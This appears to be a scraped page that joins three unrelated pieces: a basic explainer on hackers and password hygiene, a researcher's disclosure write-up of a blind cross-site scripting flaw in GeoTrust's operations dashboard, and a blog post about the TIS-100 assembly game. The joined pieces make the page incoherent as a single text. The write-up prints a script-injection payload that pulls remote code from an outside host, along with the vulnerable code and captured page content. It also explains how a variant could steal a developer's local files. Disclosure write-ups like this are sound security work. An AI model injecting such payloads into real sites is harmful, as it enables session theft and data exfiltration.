How Do Hackers Get Into Computer Systems...

How Do Hackers Get Into Computer Systems?

In the computer world, there are good guys who create networks that help us communicate, work with others and get information...and then there are those not-so-good guys and girls who, for a variety of reasons, like to use their computers to worm their way into those networks and cause trouble.

They're called hackers, and they'll routinely do things like:

Steal secrets.
Obtain passwords.
Get credit card information.
Create so much traffic that a website has to shut down.

Hackers are ALWAYS at work, either trying to steal information for their own gain or disrupt business as usual. You hear a lot of about hackers on the news now and then, but just what are they doing?

Here's a bit of background to help you understand what it means when a website or company is "hacked."

Hackers aren't heroes.

For some reason, there are those who think that hackers are "cool" and that their spirit of mischief and sneaking is admirable. But the IT (Internet technology) experts who spend a lot of money building business or government networks would disagree. And, for that matter, so would anyone who has ever had their money or identity stolen by a hacker. There's nothing playful about that.

Most people would agree that there are three types of hackers:

Young kids "having fun." These are adolescents who are essentially vandals on the Internet and are also know as Script Kiddies. They're not looking for more than a few hours of their fun messing with websites or networks.
Recreational "hackers." These are savvy computer users who intrude on networks when they feel they have a valid reason to...in their minds at least. They may have a grudge against a certain website or company and take their dislike out by "hacking" or disrupting the website.
Professionals. When a computer expert gets a taste of hacking and likes the flavor, he or she will continue to use their skill, often for breaking into people's accounts to steal money. They also might like taking down a big network for "fun."

Stealing passwords and getting in the system.

Finding out a password is the usually the first step in cracking a network's security. (That's why there are so many articles telling you to change your passwords often and make them hard to figure out!)

Here are a few key terms that you'll hear in discussions about hackers and what they do:

Back door. A secret pathway a hacker uses to gain entry to a computer system.
Buffer overflow. A method of attack where the hacker delivers malicious commands to a system by overrunning an application buffer.
Denial-of-service attack. An attack designed to cripple the victim's system by preventing it from handling its normal traffic, usually by flooding it with false traffic.
Email worm. A virus-laden script or mini-program sent to an unsuspecting victim through a normal-looking email message.
Root access. The highest level of access (and most desired by serious hackers) to a computer system, which can give them complete control over the system.
Root kit. A set of tools used by an intruder to expand and disguise his control of the system.
Script kiddie. A young or unsophisticated hacker who uses base hacker tools to try to act like a real hacker.
Session hijacking. When a hacker is able to insert malicious data packets right into an actual data transmission over the Internet connection.
Trojan horse. A seemingly helpful program that tricks the computer user into opening it, only to deliver (unnoticed and behind the scenes) an unexpected attack on the user's computer.

Keeping safe.

You can protect yourself simply by creating passwords that are hard to predict, by using different passwords for different accounts, and by changing passwords every so often.

These steps help to prevent you from being an "easy" target.

Breaching a CA – Blind Cross-site Scripting (BXSS) in the GeoTrust SSL Operations Panel Using XSS Hunter

This is a continuation of a series of blog posts which will cover blind cross-site scripting (XSS) and its impact on the internal systems which suffer from it. Previously, we’ve shown that data entered into one part of a website, such as the account information panel, can lead to XSS on internal account-management panels. This was the case with GoDaddy, the Internet’s largest registrar. Today we will be showing off a vulnerability in one of the Internet’s certificate authorities which allows us to get a rare peak inside of their internals.

One of the Best Disclosure Experiences in a Long Time

Before we start I would like to call out the awesome responsible disclosure experience I had with Symantec (the owner of GeoTrust). To be honest I had incredibly low expectations before I contacted them but the person I talked with (Mike) was a super helpful and made the experience completely painless. They had no problem using PGP, kept me updated with the status of the bug, and gave me a tracking ID for the vulnerability – all signs of a mature disclosure program. Finally they even took action to ensure that the entire code base was scrubbed for other XSS vulnerabilities which actually took me aback with the level of pro-activeness. While the security community seems to now hate vendors if they don’t reward $50,000 for every security issue, I still really appreciate companies working with researchers even if no reward is involved. The security advisory for this vulnerability has also been posted to their website and can be found here.

What is a Certificate Authority?

For those unfamiliar with the inner-workings of SSL/TLS, the entire system works based off of trusting a few certificate authorities (CAs). These certificate authorities have the power to mintintermediate certificate authorities which can then mint certificates for websites looking to protect their communications with SSL/TLS. All of these certificate authorities are embedded in your web browser by default which gives them this power. This system means that the certificate authorities can sell this service, as is the case with GeoTrust, or offer it for free as is the case with Let’s Encrypt. In order for an attacker to intercept communications to these websites, they must have access to a trusted CA or an intermediary CA created by a trusted CA which is already embedded in the user’s browser. Mozilla, the creator of the Firefox web browser, keeps a simple list of certificate authorities that are trusted in Firefox by default here. One of the important responsibilities of certificate authorities is to ensure that only the true owners of websites are allowed to issue certificates. This is to ensure that malicious actors don’t get a valid certificate for a website that they do not own (such as google.com, etc). If a certificate authority fails to carry out this duty properly it risks being removed from all modern web browsers. This was the case with the certificate authority DigiNotar which was breached and used to issue improper SSL/TLS certificates for Gmail, allowing the Iranian government to spy on its citizens. Browser vendors reacted by removing DigiNotar from their trust stores, meaning that all certificates issued by this certificate authority no longer trusted and would throw an SSL error when used. In the end, this led to the Dutch goverment taking over the company and ultimately, bankruptcy for DigitNotar.

Discovering the Vulnerable GeoTrust Operations Dashboard

Originally, I wasn’t looking for a vulnerability in GeoTrust at all, I simply wanted to obtain a trusted SSL/TLS certificate with my XSS Hunter payloads in some of the certificate fields using various certificate authorities. This was an attempt to enumerate vulnerabilities in systems which scan the Internet for these certificates and index them. However, during my testing I found an unintended vulnerability in GeoTrust’s Operations Panel when a support agent viewed my certificate request information. I woke up one morning with an XSS Hunter payload fire email titled [XSSHunter] XSS Payload Fired On https://ops.geotrust.com/opsdashboard/com.geotrust.presentation.app.ops.services.cancelagedorders.CancelAgedOrders/CancelAgedOrders.jspin my inbox with the following screenshot attached:

The above screenshot is partially redacted to respect the privacy of the customers of GeoTrust (and the agent viewing the page). However, the red highlighted portion shows the location of the XSS payload which had fired.

In the above screenshot there appears to be a “Vetting” portion to this operations panel. Likely this is for manual “vetting” of those requesting certificates. I’ll leave the possible security implications of this up to the reader. However, I was not able to verify its purpose since I didn’t want to overstep my boundaries in any way.

So what code made this page vulnerable? Let’s take a closer look.

Better Context, Better Understanding

Since our XSS Hunter probe collects the vulnerable page’s DOM we can investigate the page’s JavaScript source code to attempt to discover the cause of this vulnerability. In this case the root of the vulnerability appeared to be caused by a vulnerable function named getOrders. The code for this function is the following:

The above code shows that the HTML table seen in the screenshot is created by concatenating HTML with order information retrieved from a JSON endpoint/opsdashboard/CancelAgedOrdersServlet. The relevant lines are the following:

for(i = 0; i < count; i++){ table = table + "<tr><td>" + data[i].ID + "</td><td>" + data[i].Product + "</td><td>" + data[i].Customer + "</td><td>" + (data[i]).Date + "</td><td>" + data[i].State + "</td></tr>"; }

The product ID, name, customer name, and state are all used to concatenate each row in the HTML table. When going through the free-trial certificate sign up process the customer name I provided was the following:

"><script src=https://y.vg></script>

Once the JavaScript code runs on my input, it creates a row with the following HTML:

<tr><td>13785664</td><td>GeoTrust SSL Trial</td><td>"><script src="https://y.vg"></script</td><td>06/06/2016 05:40:04</td><td>Waiting for Whois Approval</td></tr>

Finally, the entire HTML blob is inserted into the DOM with the following line:

$('#grid').html(table);

This causes the <script> tag to be evaluated, leading to the cross-site scripting (XSS) vulnerability triggering.

String concatenation is one of the most common ways for XSS vulnerabilities to occur and this is no exception. The important thing to note in this example is that we are able to determine the root cause of the vulnerability with ease due to the amount of contextual information collected by our XSS Hunter payloads. This makes communicating the root issue much easier and has in the past even led to vendors becoming concerned that I have actually logged in as an internal agent (though not in this specific case). In the world of blind payload testing, context is everything. You may only trigger the vulnerability a single time so you must have as much information as possible if you want to get it fixed.

Exploitation During Remediation

Shortly after discovering this vulnerability I reached out to the Symantec security team to disclose this vulnerability. After a quick exchange of PGP keys the team received the vulnerability and confirmed they understood the issue and told me they would work on getting in contact with the appropriate product team.

A few days after this had occurred I woke up to yet another payload fire email, this time the title was the following:

[XSSHunter] XSS Payload Fired On https://stage1-ops.geotrust.symclab.net/opsdashboard/com.geotrust.presentation.app.ops.services.cancelagedorders.CancelAgedOrders/CancelAgedOrders.jsp

Attached was the following screenshot:

The above screenshot requires less redaction, because it is filled with test data due to it being a staging instance. Apparently the product team that received the vulnerability report decided to use the same payload in staging as in production. In the upcoming days I received a few more payload fires from the same IP addresses:

[XSSHunter] XSS Payload Fired On file:///C:/Users/sachin_[REDACTED_LAST_NAME]/Desktop/iFrame.html

[XSSHunter] XSS Payload Fired On https://ft1-ops.geotrust.symclab.net/opsdashboard/com.geotrust.presentation.app.ops.services.cancelagedorders.CancelAgedOrders/CancelAgedOrders.jsp

Humorously the first email contained the following screenshot attached to it:

The DOM contents were the following:

<html><head></head><body><header>Hello</header> <iframe src="https://stage2-products.geotrust.symclab.net/orders/rapidssl.do?ref=454848RAP60985"></iframe> `">` (S `"><table title="Click to Verify - This site chose Symantec SSL for secure e-commerce and confidential communications." border="0" cellpadding="2" cellspacing="0"width="135"> <tbody><tr> <script>alert(1)</script><script src="https://y.vg"></script> </tr></tbody></table> </body></html>

It appeared one of the product team members was attempting to analyse the payload. The “Hello” made me wish I could’ve sent a response. So if you’re Sachin and you’re reading this post…hi! After receiving a few of these payload fires I reached back out to Symantec to let them know that the product team was testing with my payload. They communicated this to the team and I stopped receiving them shortly after.

The above occurrence points out another interesting angle of using blind cross-site scripting payloads. Since you are alerted of all payload fires, an attacker can not only learn about the XSS vulnerabilities themselves but also if someone is investigating the payload. This gives the attacker an advanced warning of someone looking into their activities.

In addition to early warning, it shows that developer’s first instincts can also be quite dangerous. The User-Agent of the developer who opened a local HTML file indicated that he was using Firefox 46 on Windows 7. The browser being used is important because file:// URIs are treated very differently depending on which browser is being utilized. Firefox, for example, allows you to use XMLHTTPRequest to retrieve files which are in the same directory or lower on the file system. This means that had I been malicious I could have written a payload to enumerate and send me files off of the developer’s hard drive (assuming they were in the same or lower directory of the fired .html payload file). Since this file was opened from the developer’s Desktop that means the payload could’ve stolen everything else located there as well (what do you have on your desktop?). What started out as an XSS vulnerability in a website has now become a vulnerability which can ex-filtrate files from a developer’s computer.

Final Thoughts

From this case study we’ve learned a lot about the precarious nature of blind XSS testing. If you are interested in testing for these types of vulnerabilities yourself, you can sign up for an account on the XSS Hunter website. If you don’t trust me or want to run your own version you can get a copy of the source code on Github.

The Hackers: Here's The Programming Game You Never Asked ForYo...

The Hackers:
Here's The Programming Game You Never Asked ForYo...: Here's The Programming Game You Never Asked For You know what's universally regarded as un-fun by most programmers? Writing ass...

Here's The Programming Game You Never Asked For

You know what's universally regarded as un-fun by most programmers? Writingassembly language code.

As Steve McConnell said back in 1994:

Programmers working with high-level languages achieve better productivity and quality than those working with lower-level languages. Languages such as C++, Java, Smalltalk, and Visual Basic have been credited with improving productivity, reliability, simplicity, and comprehensibility by factors of 5 to 15 over low-level languages such as assembly and C (Brooks 1987, Jones 1998, Boehm 2000). You save time when you don't need to have an awards ceremony every time a C statement does what it's supposed to.

Assembly is a language where, for performance reasons, every individual command is communicated in excruciating low level detail directly to the CPU. As we've gone from fast CPUs, to faster CPUs, to multiple absurdly fast CPU cores on the same die, to "gee, we kinda stopped caring about CPU performance altogether five years ago", there hasn't been much need for the kind of hand-tuned performance you get from assembly. Sure, there are the occasional heroics, and they are amazing, but in terms of Getting Stuff Done, assembly has been well off the radar of mainstream programming for probably twenty years now, and for good reason.

So who in their right mind would take up tedious assembly programming today? Yeah, nobody. But wait! What if I told you your Uncle Randy had just died and left behind this mysterious old computer, the TIS-100?

And what if I also told you the only way to figure out what that TIS-100 computer was used for – and what good old Uncle Randy was up to – was to read a (blessedly short 14 page) photocopied reference manual and fix its corrupted boot sequence … using assembly language?

Well now, by God, it's time to learn us some assembly and get to the bottom of this mystery, isn't it? As its creator notes, this is the assembly language programming game you never asked for!

I was surprised to discover my co-founder Robin Ward liked TIS-100 so much that he not only played the game (presumably to completion) but wrote a TIS-100 emulator in C. This is apparently the kind of thing he does for fun, in his free time, when he's not already working full time with us programming Discourse. Programmers gotta … program.

Of course there's a long history of programming games. What makes TIS-100 unique is the way it fetishizes assembly programming, while most programming games take it a bit easier on you by easing you in with general concepts and simpler abstractions. But even "simple" programming games can be quite difficult. Consider one of my favorites on the Apple II, Rocky's Boots, and its sequel, Robot Odyssey. I loved this game, but in true programming fashion it was so difficult that finishing it in any meaningful sense was basically impossible:

Let me say: Any kid who completes this game while still a kid (I know only one, who also is one of the smartest programmers I’ve ever met) is guaranteed a career as a software engineer. Hell, any adult who can complete this game should go into engineering. Robot Odyssey is the hardest damn “educational” game ever made. It is also a stunning technical achievement, and one of the most innovative games of the Apple IIe era.

Visionary, absurdly difficult games such as this gain cult followings. It is the game I remember most from my childhood. It is the game I love (and despise) the most, because it was the hardest, the most complex, the most challenging. The world it presented was like being exposed to Plato’s forms, a secret, nonphysical realm of pure ideas and logic. The challenge of the game—and it was one serious challenge—was to understand that other world. Programmer Thomas Foote had just started college when he picked up the game: “I swore to myself,” he told me, “that as God is my witness, I would finish this game before I finished college. I managed to do it, but just barely.”

I was happy dinking around with a few robots that did a few things, got stuck, and moved on to other games. I got a little turned off by the way it treated programming as electrical engineering; messing around with a ton of AND OR and NOT gates was just not my jam. I was already cutting my teeth on BASIC by that point and I sensed a level of mastery was necessary here that I probably didn't have and I wasn't sure I even wanted.

I'll take a COBOL code listing over that monstrosity any day of the week. Perhaps Robot Odyssey was so hard because, in the end, it was a bare metal CPU programming simulation, like TIS-100.